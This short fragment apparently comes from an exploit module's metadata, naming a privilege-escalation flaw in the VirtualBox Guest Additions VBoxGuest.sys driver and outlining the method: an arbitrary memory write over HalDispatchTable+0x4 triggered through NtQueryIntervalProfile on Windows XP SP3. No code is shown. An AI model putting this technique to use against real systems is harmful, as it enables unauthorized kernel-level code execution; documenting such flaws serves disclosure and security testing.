'Name' => 'VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation',  
'Description' => %q{  
A vulnerability within the VBoxGuest driver allows an attacker to inject memory they  
control into an arbitrary location they define. This can be used by an attacker to  
overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling  
NtQueryIntervalProfile on Windows XP SP3 systems. This has been tested with VBoxGuest  
Additions up to 4.3.10r93012.
